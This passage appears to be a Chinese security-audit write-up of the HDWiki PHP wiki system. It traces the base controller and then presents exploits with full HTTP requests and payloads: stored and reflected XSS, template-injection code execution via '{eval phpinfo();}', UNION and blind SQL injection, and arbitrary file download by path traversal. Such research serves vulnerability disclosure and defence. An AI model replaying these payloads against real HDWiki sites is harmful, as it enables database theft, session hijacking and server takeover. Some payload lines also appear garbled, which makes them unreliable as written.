分两部分通读hdwiki系统,并挖掘漏洞。

<?php class control extends base{
public function hd(){
echo 'helloworld';
}
}

调用结果:

    <img src="https://img0.tuicool.com/M7B7viB.jpg!web">
<h2>

        <b>0x02 控制器结构了解</b>
        </h2>
本次通读分为两次通读的原因,是基础控制器也有它自己本身的逻辑。
我们废话不多说,直接看一下普通的控制器。

    <img src="https://img2.tuicool.com/N7fY7vq.jpg!web">
我们可以看到class control extends base,继承了base类,这个类在我们之前了解框架结构时,有包含到base.class.php文件,我们看一下该文件是怎么玩的。

    <img src="https://img0.tuicool.com/2mmqiiY.jpg!web">
可以看到base类,定义了同名构造方法(function base)。我们看一下这个方法做了一些什么操作。

    <img src="https://img1.tuicool.com/7veaYfr.jpg!web">
可以看到基础控制器居然做出了这么多操作,没关系,我们去慢慢啃它。
首先35行调用了util类的getip方法,从名字上看好像是用来获取ip的,我们跟进看一下。

    <img src="https://img1.tuicool.com/uUzENrM.jpg!web">
使用client-ip头虽然可以进行伪造ip,但是后面又preg_match正则校验,所以这里不存在IP伪造漏洞。
我们下面来看一下base.class.php文件的第38行。

    <img src="https://img0.tuicool.com/EbiUJni.jpg!web">
$this-&gt;db实例化了一个hddb类,我们跟进这个类,看看是怎么玩的。

    <img src="https://img0.tuicool.com/iQzEBfe.jpg!web">
是处理SQL语句的类,我们回到base.class.php继续通读。

    <img src="https://img2.tuicool.com/jAVzUnR.jpg!web">
调用了init_cache,我们看一下它的处理结构。

    <img src="https://img1.tuicool.com/ZZNJfif.jpg!web">
可以看到106行实例化了cache类,而后续代码多次调用cache下的load方法,我们很有必要看一下cache::load方法到底做了一些什么操作。

    <img src="https://img1.tuicool.com/eMBNVni.jpg!web">
可以看到程序首先去拿到cache文件,如果文件不存在,那么就去数据库进行调用。
Cache文件的存放位置:/data/cache/缓存文件.php
在56行出现了未经过任何过滤带入数据库的操作,条件是$cachename可控,但是很遗憾,笔者没有找到可控的$cachename调用处。
我们回过头来继续通读。

    <img src="https://img0.tuicool.com/QryMvqB.jpg!web">
包含setting、advertisement......

    <img src="https://img2.tuicool.com/Vr6zuqr.jpg!web">
都是一些数组信息,我们需要知道的是,这些数组是从数据库中提取出来的。

    <img src="https://img2.tuicool.com/E3EFV3e.jpg!web">
我们可以看到将这些配置信息都放入了成员变量中。
我们最好不要对一个缓存来较劲,回过头来继续通读。

    <img src="https://img2.tuicool.com/b6Br2y2.jpg!web">
我们看一下init_user方法。

    <img src="https://img0.tuicool.com/6BviEn7.jpg!web">
这里调用了hgetcookie方法,我们看一下hgetcookie方法是用来做什么的。

    <img src="https://img1.tuicool.com/IvQNRzB.jpg!web">
只是用来得到cookie信息。
回到init_user方法中我们继续分析。

    <img src="https://img1.tuicool.com/7jiAnuz.jpg!web">
这里又调用了authcode方法,我们看一下该方法是怎么玩的。

    <img src="https://img2.tuicool.com/vIvAJvy.jpg!web">
类似于DZ论坛的加密方式,我们从这里可以知道,该程序是有authkey的。
我们回头继续看一下代码逻辑。

    <img src="https://img2.tuicool.com/MfeI3aY.jpg!web">
可以看到$uid是未经过任何处理,直接带入到数据库当中的。这里我们如果通过一些方式拿到authkey,那么这个点可以做权限维持。当然,authkey是存放在数据库当中的。如图:

    <img src="https://img1.tuicool.com/AFRJZbN.jpg!web">
但是遗憾在笔者并没有找到破解authkey的方法(前台注入另说)。
我们回过头来继续通读。

    <img src="https://img2.tuicool.com/3uqEV3q.jpg!web">
可以看到包含/model/doc.class.php并实例化,在271行调用了doc对象的get_unpubdoc方法。我们跟进。

    <img src="https://img0.tuicool.com/AVRbUzz.jpg!web">
涉及到网站业务逻辑的词条操作,使用SELECT进行查询。
我们回过头来继续审计。

    <img src="https://img0.tuicool.com/BvEfAz.jpg!web">
这里init_template方法是用来定义$this-&gt;view是template(View)类的实例化,template类我们限制先放到这里不说,到后面我们审计到模板注入时再拿过来细说。
回过头来继续审计。

    <img src="https://img0.tuicool.com/qUVJbmY.jpg!web">
init_global方法主要调用网站内的业务信息。这里主要关注在261-262行身上。
我们跟进writeLog方法,看一下该方法是如何定义的。

    <img src="https://img1.tuicool.com/uiue2eq.jpg!web">
可以看到登录后台的一系列操作都会被写入到日志当中,笔者这里日志被写入到了data/logs/202012_adminaccess.php文件中,如图:

    <img src="https://img2.tuicool.com/mYfeu2r.jpg!web">
我们回过头来继续通读。

    <img src="https://img1.tuicool.com/Vnmq2yr.jpg!web">
init_mail方法检测/data/mail.exists文件是否存在,如果存在则可以发送邮件等操作。

    <img src="https://img0.tuicool.com/iEzyya3.jpg!web">
init_admin是来判断当前的登陆状态,如果非管理员则跳转到管理员登录界面。
控制器结构了解完毕后我们开始挖掘漏洞。
<h2>

        <b>0x03 后台存储型XSS漏洞</b>
        </h2>
存储型XSS漏洞无非就是入库前可插入/修改成未被过滤的Js代码,在前端中显示出来。
在/control/admin_focus.php的doedit方法中。

    <img src="https://img1.tuicool.com/VBfuaiZ.jpg!web">
$summary与$image被string::hiconv函数进行处理,我们看一下该函数的定义。

    <img src="https://img0.tuicool.com/ryUJ3mY.jpg!web">
只要我们不被正则检测到即可直接return回来。
我们再看一下save_focus_content方法。

    <img src="https://img0.tuicool.com/I3eaIn3.jpg!web">
这里是插入js数据点。
模板文件:/data/view/admin_focus.tpl.php 将 image字段直接输出出来。
如图:

    <img src="https://img0.tuicool.com/NVBfMfJ.jpg!web">
构造HTTP包:
<pre>POST /index.php?admin_focus-edit HTTP/1.1

Host: hdwiki.com
Content-Length: 106
Accept: /
Origin: http://hdwiki.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://hdwiki.com/index.php?admin_focus-edit-58
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_focus-edit-58
Connection: close

did=58&summary=12ℑ=”>alert(1)&displayorder=0&editsubmit=true&doctype=3

发送后访问http://xxx.com/index.php?admin_focus-focuslist进行回显
如图:

    <img src="https://img2.tuicool.com/jQnIvaf.jpg!web">
<h2>

        <b>0x04 后台模板注入GetShell</b>
        </h2>
这里我们回过头来看一下/lib/template.class.php文件的display方法。

    <img src="https://img1.tuicool.com/7Ff67nr.jpg!web">
这里直接调用到preg_replace的/e修饰符,preg_replace的第二个参数调用了stripvtag方法,我们看一下这个方法是怎么玩的。

    <img src="https://img1.tuicool.com/ZNney22.jpg!web">
这里只是进行了替换,并不影响我们getshell。
在后台有模板编辑功能,如图:

    <img src="https://img0.tuicool.com/M3QrY3q.jpg!web">
编辑插入代码:{eval phpinfo();}

    <img src="https://img0.tuicool.com/YBjmIjn.jpg!web">
结果:

    <img src="https://img1.tuicool.com/MfQ3AbQ.jpg!web">
<h2>

        <b>0x05 前台SQL联合注入漏洞</b>
        </h2>
在/control/edition.php文件中的docompare方法。

    <img src="https://img2.tuicool.com/nm63a2j.jpg!web">
按照程序作者的猜想应该是:eid只能接收两条数据,然后使用array_slice将这两条数据提取出来。
但,eid不一定只可以插入两条数据,我们可以给他指定第三条第四条第n条数据。
array_slice函数只会截取到前两条数据,这里我们可以将我们的注入代码往前放置,键为0或1往后放即可。
我们看一下get_edition方法的定义。

    <img src="https://img1.tuicool.com/ueuIZjv.jpg!web">
如果注入成功会进入到else分支,则该类型注入只需要闭合圆括号即可。
构造HTTP请求包:
<pre>POST /index.php?edition-compare HTTP/1.1

Host: www.hdwiki.com
Content-Type:application/x-www-form-urlencoded
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 159

eid[a]=1) UNION SELECT 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456

如图:

    <img src="https://img1.tuicool.com/Yvqyuyz.jpg!web">
但是没有回显数据出来,是因为程序往后又做了判断。如图:

    <img src="https://img2.tuicool.com/ZBNZZf6.jpg!web">
因为union select 查询到的只是一条数据而已,这里取不到第二条数据。两次union select即可查询出两条数据。我们看一下did字段的存放位置。

    <img src="https://img0.tuicool.com/FJBBRj2.jpg!web">
可以看到did字段处于第三条数据。那么我们需要构造两次union all select(预防union select 默认过滤),将did相等就行了。如图:

    <img src="https://img0.tuicool.com/ZrYz2yr.jpg!web">
HTTP包:
<pre>POST /index.php?edition-compare HTTP/1.1

Host: hdwiki.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 172

eid[a]=1) UNION SELECT 1,2,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,3,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456

        <b>0x06 后台SQL盲注漏洞</b>
        </h2>
是个有意思的点,这里也记录一下。在/control/admin_theme.php文件中有dosaveblock方法,如图:

    <img src="https://img1.tuicool.com/ria2aiA.jpg!web">
第546行直接调用block_query方法,将过滤的POST请求直接放置到第一个参数中。
跟进block_query方法。

    <img src="https://img1.tuicool.com/V7b6rqZ.jpg!web">
这里$_POST的key是没有任何过滤的,那么我们可以在key中进行注入。
构造HTTP请求包:

    <img src="https://img0.tuicool.com/rEBZVj2.jpg!web">
成功延时注入。
<h2>

        <b>0x07 任意文件下载漏洞</b>
        </h2>
在/control/admin_db.php文件有dodownloadfile方法,如图:

    <img src="https://img0.tuicool.com/UNzIVvI.jpg!web">
本意是下载数据库,这里使用*号代替.号进行跳目录。

    <img src="https://img0.tuicool.com/uQJRvau.jpg!web">
成功任意文件下载。
<h2>

        <b>0x08 前台POST反射型XSS</b>
        </h2>
在/control/user.php文件的doinvite方法。
如图:

    <img src="https://img2.tuicool.com/UFnmieE.jpg!web">
我们必须想办法让$error置为true,才可以进入到下面分配的分支。
所以这里我们不要被preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $mail)所匹配得到才行,进入到757-758行的分支,ps直接输出到前台模板中没有任何XSS过滤,产生反射XSS漏洞。构造HTTP请求:
<pre>POST /index.php?user-invite HTTP/1.1

Host: hdwiki.com
Content-Length: 84
Cache-Control: max-age=0
Origin: http://hdwiki.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_db-downloadfile-%2A%2A%2F%2A%2A%2Frobots%2Atxt
Connection: close

toemails=1&ps=alert(1);&submit=%E5%8F%91%E9%80%81%E9%82%80%E8%AF%B7

    <img src="https://img1.tuicool.com/RJNbMr.jpg!web">
这种POST类型的反射型XSS,可以搭配CSRF打组合拳。